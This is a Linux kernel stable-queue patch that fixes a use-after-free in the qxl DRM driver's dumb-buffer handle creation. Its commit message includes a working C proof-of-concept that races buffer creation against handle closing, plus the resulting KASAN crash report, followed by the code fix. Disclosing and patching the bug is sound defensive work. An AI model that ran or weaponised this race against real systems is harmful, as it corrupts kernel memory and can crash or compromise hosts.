--- /dev/null
+From c611589b4259ed63b9b77be6872b1ce07ec0ac16 Mon Sep 17 00:00:00 2001
+From: Wander Lairson Costa <wander@redhat.com>
+Date: Mon, 14 Aug 2023 13:51:19 -0300
+Subject: drm/qxl: fix UAF on handle creation
+
+From: Wander Lairson Costa <wander@redhat.com>
+
+commit c611589b4259ed63b9b77be6872b1ce07ec0ac16 upstream.
+
+qxl_mode_dumb_create() dereferences the qobj returned by
+qxl_gem_object_create_with_handle(), but the handle is the only one
+holding a reference to it.
+
+A potential attacker could guess the returned handle value and closes it
+between the return of qxl_gem_object_create_with_handle() and the qobj
+usage, triggering a use-after-free scenario.
+
+Reproducer:
+
+int dri_fd =-1;
+struct drm_mode_create_dumb arg = {0};
+
+void gem_close(int handle);
+
+void* trigger(void* ptr)
+{
+ int ret;
+ arg.width = arg.height = 0x20;
+ arg.bpp = 32;
+ ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &arg);
+ if(ret)
+ {
+ perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
+ exit(-1);
+ }
+ gem_close(arg.handle);
+ while(1) {
+ struct drm_mode_create_dumb args = {0};
+ args.width = args.height = 0x20;
+ args.bpp = 32;
+ ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &args);
+ if (ret) {
+ perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
+ exit(-1);
+ }
+
+ printf("[*] DRM_IOCTL_MODE_CREATE_DUMB created, %d\n", args.handle);
+ gem_close(args.handle);
+ }
+ return NULL;
+}
+
+void gem_close(int handle)
+{
+ struct drm_gem_close args;
+ args.handle = handle;
+ int ret = ioctl(dri_fd, DRM_IOCTL_GEM_CLOSE, &args); // gem close handle
+ if (!ret)
+ printf("gem close handle %d\n", args.handle);
+}
+
+int main(void)
+{
+ dri_fd= open("/dev/dri/card0", O_RDWR);
+ printf("fd:%d\n", dri_fd);
+
+ if(dri_fd == -1)
+ return -1;
+
+ pthread_t tid1;
+
+ if(pthread_create(&tid1,NULL,trigger,NULL)){
+ perror("[*] thread_create tid1\n");
+ return -1;
+ }
+ while (1)
+ {
+ gem_close(arg.handle);
+ }
+ return 0;
+}
+
+This is a KASAN report:
+
+==================================================================
+BUG: KASAN: slab-use-after-free in qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69
+Write of size 1 at addr ffff88801136c240 by task poc/515
+
+CPU: 1 PID: 515 Comm: poc Not tainted 6.3.0 #3
+Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.0-debian-1.16.0-4 04/01/2014
+Call Trace:
+<TASK>
+__dump_stack linux/lib/dump_stack.c:88
+dump_stack_lvl+0x48/0x70 linux/lib/dump_stack.c:106
+print_address_description linux/mm/kasan/report.c:319
+print_report+0xd2/0x660 linux/mm/kasan/report.c:430
+kasan_report+0xd2/0x110 linux/mm/kasan/report.c:536
+__asan_report_store1_noabort+0x17/0x30 linux/mm/kasan/report_generic.c:383
+qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69
+drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
+drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
+drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
+drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
+vfs_ioctl linux/fs/ioctl.c:51
+__do_sys_ioctl linux/fs/ioctl.c:870
+__se_sys_ioctl linux/fs/ioctl.c:856
+__x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
+do_syscall_x64 linux/arch/x86/entry/common.c:50
+do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
+entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120
+RIP: 0033:0x7ff5004ff5f7
+Code: 00 00 00 48 8b 05 99 c8 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 69 c8 0d 00 f7 d8 64 89 01 48
+
+RSP: 002b:00007ff500408ea8 EFLAGS: 00000286 ORIG_RAX: 0000000000000010
+RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007ff5004ff5f7
+RDX: 00007ff500408ec0 RSI: 00000000c02064b2 RDI: 0000000000000003
+RBP: 00007ff500408ef0 R08: 0000000000000000 R09: 000000000000002a
+R10: 0000000000000000 R11: 0000000000000286 R12: 00007fff1c6cdafe
+R13: 00007fff1c6cdaff R14: 00007ff500408fc0 R15: 0000000000802000
+</TASK>
+
+Allocated by task 515:
+kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45
+kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52
+kasan_save_alloc_info+0x1e/0x40 linux/mm/kasan/generic.c:510
+____kasan_kmalloc linux/mm/kasan/common.c:374
+__kasan_kmalloc+0xc3/0xd0 linux/mm/kasan/common.c:383
+kasan_kmalloc linux/./include/linux/kasan.h:196
+kmalloc_trace+0x48/0xc0 linux/mm/slab_common.c:1066
+kmalloc linux/./include/linux/slab.h:580
+kzalloc linux/./include/linux/slab.h:720
+qxl_bo_create+0x11a/0x610 linux/drivers/gpu/drm/qxl/qxl_object.c:124
+qxl_gem_object_create+0xd9/0x360 linux/drivers/gpu/drm/qxl/qxl_gem.c:58
+qxl_gem_object_create_with_handle+0xa1/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:89
+qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63
+drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
+drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
+drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
+drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
+vfs_ioctl linux/fs/ioctl.c:51
+__do_sys_ioctl linux/fs/ioctl.c:870
+__se_sys_ioctl linux/fs/ioctl.c:856
+__x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
+do_syscall_x64 linux/arch/x86/entry/common.c:50
+do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
+entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120
+
+Freed by task 515:
+kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45
+kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52
+kasan_save_free_info+0x2e/0x60 linux/mm/kasan/generic.c:521
+____kasan_slab_free linux/mm/kasan/common.c:236
+____kasan_slab_free+0x180/0x1f0 linux/mm/kasan/common.c:200
+__kasan_slab_free+0x12/0x30 linux/mm/kasan/common.c:244
+kasan_slab_free linux/./include/linux/kasan.h:162
+slab_free_hook linux/mm/slub.c:1781
+slab_free_freelist_hook+0xd2/0x1a0 linux/mm/slub.c:1807
+slab_free linux/mm/slub.c:3787
+__kmem_cache_free+0x196/0x2d0 linux/mm/slub.c:3800
+kfree+0x78/0x120 linux/mm/slab_common.c:1019
+qxl_ttm_bo_destroy+0x140/0x1a0 linux/drivers/gpu/drm/qxl/qxl_object.c:49
+ttm_bo_release+0x678/0xa30 linux/drivers/gpu/drm/ttm/ttm_bo.c:381
+kref_put linux/./include/linux/kref.h:65
+ttm_bo_put+0x50/0x80 linux/drivers/gpu/drm/ttm/ttm_bo.c:393
+qxl_gem_object_free+0x3e/0x60 linux/drivers/gpu/drm/qxl/qxl_gem.c:42
+drm_gem_object_free+0x5c/0x90 linux/drivers/gpu/drm/drm_gem.c:974
+kref_put linux/./include/linux/kref.h:65
+__drm_gem_object_put linux/./include/drm/drm_gem.h:431
+drm_gem_object_put linux/./include/drm/drm_gem.h:444
+qxl_gem_object_create_with_handle+0x151/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:100
+qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63
+drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
+drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
+drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
+drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
+vfs_ioctl linux/fs/ioctl.c:51
+__do_sys_ioctl linux/fs/ioctl.c:870
+__se_sys_ioctl linux/fs/ioctl.c:856
+__x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
+do_syscall_x64 linux/arch/x86/entry/common.c:50
+do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
+entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120
+
+The buggy address belongs to the object at ffff88801136c000
+which belongs to the cache kmalloc-1k of size 1024
+The buggy address is located 576 bytes inside of
+freed 1024-byte region [ffff88801136c000, ffff88801136c400)
+
+The buggy address belongs to the physical page:
+page:0000000089fc329b refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x11368
+head:0000000089fc329b order:3 entire_mapcount:0 nr_pages_mapped:0 pincount:0
+flags: 0xfffffc0010200(slab|head|node=0|zone=1|lastcpupid=0x1fffff)
+raw: 000fffffc0010200 ffff888007841dc0 dead000000000122 0000000000000000
+raw: 0000000000000000 0000000080100010 00000001ffffffff 0000000000000000
+page dumped because: kasan: bad access detected
+
+Memory state around the buggy address:
+ffff88801136c100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
+ffff88801136c180: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
+>ffff88801136c200: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
+^
+ffff88801136c280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
+ffff88801136c300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
+==================================================================
+Disabling lock debugging due to kernel taint
+
+Instead of returning a weak reference to the qxl_bo object, return the
+created drm_gem_object and let the caller decrement the reference count
+when it no longer needs it. As a convenience, if the caller is not
+interested in the gobj object, it can pass NULL to the parameter and the
+reference counting is descremented internally.
+
+The bug and the reproducer were originally found by the Zero Day Initiative project (ZDI-CAN-20940).
+
+Link: https://www.zerodayinitiative.com/
+Signed-off-by: Wander Lairson Costa <wander@redhat.com>
+Cc: stable@vger.kernel.org
+Reviewed-by: Dave Airlie <airlied@redhat.com>
+Signed-off-by: Dave Airlie <airlied@redhat.com>
+Link: https://patchwork.freedesktop.org/patch/msgid/20230814165119.90847-1-wander@redhat.com
+[pchelkin: The problem can be reproduced on 5.10 stable. It lacks commit
+ f4a84e165e6d ("drm/qxl: allocate dumb buffers in ram"). Adjust a small
+ conflict regarding that commit: it affects only where the buffers are
+ placed.]
+Signed-off-by: Fedor Pchelkin <pchelkin@ispras.ru>
+Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
+---
+ drivers/gpu/drm/qxl/qxl_drv.h | 2 +-
+ drivers/gpu/drm/qxl/qxl_dumb.c | 5 ++++-
+ drivers/gpu/drm/qxl/qxl_gem.c | 25 +++++++++++++++++--------
+ drivers/gpu/drm/qxl/qxl_ioctl.c | 6 ++----
+ 4 files changed, 24 insertions(+), 14 deletions(-)
+
+--- a/drivers/gpu/drm/qxl/qxl_drv.h
++++ b/drivers/gpu/drm/qxl/qxl_drv.h
+@@ -329,7 +329,7 @@ int qxl_gem_object_create_with_handle(st
+ u32 domain,
+ size_t size,
+ struct qxl_surface *surf,
+- struct qxl_bo **qobj,
++ struct drm_gem_object **gobj,
+ uint32_t *handle);
+ void qxl_gem_object_free(struct drm_gem_object *gobj);
+ int qxl_gem_object_open(struct drm_gem_object *obj, struct drm_file *file_priv);
+--- a/drivers/gpu/drm/qxl/qxl_dumb.c
++++ b/drivers/gpu/drm/qxl/qxl_dumb.c
+@@ -34,6 +34,7 @@ int qxl_mode_dumb_create(struct drm_file
+ {
+ struct qxl_device *qdev = to_qxl(dev);
+ struct qxl_bo *qobj;
++ struct drm_gem_object *gobj;
+ uint32_t handle;
+ int r;
+ struct qxl_surface surf;
+@@ -62,11 +63,13 @@ int qxl_mode_dumb_create(struct drm_file
+
+ r = qxl_gem_object_create_with_handle(qdev, file_priv,
+ QXL_GEM_DOMAIN_SURFACE,
+- args->size, &surf, &qobj,
++ args->size, &surf, &gobj,
+ &handle);
+ if (r)
+ return r;
++ qobj = gem_to_qxl_bo(gobj);
+ qobj->is_dumb = true;
++ drm_gem_object_put(gobj);
+ args->pitch = pitch;
+ args->handle = handle;
+ return 0;
+--- a/drivers/gpu/drm/qxl/qxl_gem.c
++++ b/drivers/gpu/drm/qxl/qxl_gem.c
+@@ -72,32 +72,41 @@ int qxl_gem_object_create(struct qxl_dev
+ return 0;
+ }
+
++/*
++ * If the caller passed a valid gobj pointer, it is responsible to call
++ * drm_gem_object_put() when it no longer needs to acess the object.
++ *
++ * If gobj is NULL, it is handled internally.
++ */
+ int qxl_gem_object_create_with_handle(struct qxl_device *qdev,
+ struct drm_file *file_priv,
+ u32 domain,
+ size_t size,
+ struct qxl_surface *surf,
+- struct qxl_bo **qobj,
++ struct drm_gem_object **gobj,
+ uint32_t *handle)
+ {
+- struct drm_gem_object *gobj;
+ int r;
++ struct drm_gem_object *local_gobj;
+
+- BUG_ON(!qobj);
+ BUG_ON(!handle);
+
+ r = qxl_gem_object_create(qdev, size, 0,
+ domain,
+ false, false, surf,
+- &gobj);
++ &local_gobj);
+ if (r)
+ return -ENOMEM;
+- r = drm_gem_handle_create(file_priv, gobj, handle);
++ r = drm_gem_handle_create(file_priv, local_gobj, handle);
+ if (r)
+ return r;
+- /* drop reference from allocate - handle holds it now */
+- *qobj = gem_to_qxl_bo(gobj);
+- drm_gem_object_put(gobj);
++
++ if (gobj)
++ *gobj = local_gobj;
++ else
++ /* drop reference from allocate - handle holds it now */
++ drm_gem_object_put(local_gobj);
++
+ return 0;
+ }
+
+--- a/drivers/gpu/drm/qxl/qxl_ioctl.c
++++ b/drivers/gpu/drm/qxl/qxl_ioctl.c
+@@ -39,7 +39,6 @@ static int qxl_alloc_ioctl(struct drm_de
+ struct qxl_device *qdev = to_qxl(dev);
+ struct drm_qxl_alloc *qxl_alloc = data;
+ int ret;
+- struct qxl_bo *qobj;
+ uint32_t handle;
+ u32 domain = QXL_GEM_DOMAIN_VRAM;
+
+@@ -51,7 +50,7 @@ static int qxl_alloc_ioctl(struct drm_de
+ domain,
+ qxl_alloc->size,
+ NULL,
+- &qobj, &handle);
++ NULL, &handle);
+ if (ret) {
+ DRM_ERROR("%s: failed to create gem ret=%d\n",
+ __func__, ret);
+@@ -393,7 +392,6 @@ static int qxl_alloc_surf_ioctl(struct d
+ {
+ struct qxl_device *qdev = to_qxl(dev);
+ struct drm_qxl_alloc_surf *param = data;
+- struct qxl_bo *qobj;
+ int handle;
+ int ret;
+ int size, actual_stride;
+@@ -413,7 +411,7 @@ static int qxl_alloc_surf_ioctl(struct d
+ QXL_GEM_DOMAIN_SURFACE,
+ size,
+ &surf,
+- &qobj, &handle);
++ NULL, &handle);
+ if (ret) {
+ DRM_ERROR("%s: failed to create gem ret=%d\n",
+ __func__, ret);
projects / thirdparty / kernel / stable-queue.git / commitdiff
